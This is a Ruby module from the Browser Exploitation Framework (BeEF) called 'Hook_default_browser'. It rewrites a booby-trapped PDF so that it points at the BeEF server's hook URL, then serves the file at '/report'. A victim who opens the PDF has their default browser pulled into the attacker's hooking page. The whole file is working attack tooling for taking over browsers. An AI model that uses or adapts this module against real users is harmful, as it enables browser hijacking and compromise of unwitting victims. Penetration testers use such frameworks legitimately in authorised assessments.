#
# Copyright (c) 2006-2024 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

class Hook_default_browser < BeEF::Core::Command
  def self.options
    configuration = BeEF::Core::Configuration.instance
    proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'
    hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}/demos/report.html"
    # @todo why is this commented out?
    [
      # {'name' => 'url', 'ui_label'=>'URL', 'type' => 'text', 'width' => '400px', 'value' => hook_uri },
    ]
  end

  def pre_send
    # Get the servers configurations.
    configuration = BeEF::Core::Configuration.instance
    proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'

    # The hook url to be replace the token in the original pdf file.
    hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}/demos/report.html"

    # A new pdf file containg the actual hook URI instead of the dummy token.
    configured_hook_file = File.open('./modules/host/hook_default_browser/bounce_to_ie_configured.pdf', 'w')

    # The original pdf file contains a token that will get replaced during the initialization with
    # the actual hook URI of beef. Note that the hook URI is accessed via the DNS name.
    File.open('./modules/host/hook_default_browser/bounce_to_ie.pdf', 'r') do |original_hook_file|
      original_hook_file.each_line do |line|
        # If the line includes the hook token, then replace it with the actual hook URI
        line = line.sub(/<hookURI>/, hook_uri) if line.include? '<hookURI>'
        # write the line to a new file
        configured_hook_file.write(line)
      end
    end

    configured_hook_file.close

    # Bind the configured PDF file to the web server.
    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/hook_default_browser/bounce_to_ie_configured.pdf', '/report', 'pdf', -1)
  end

  def post_execute
    content = {}
    content['result'] = @datastore['result']

    save content
    # update_zombie!
  end
end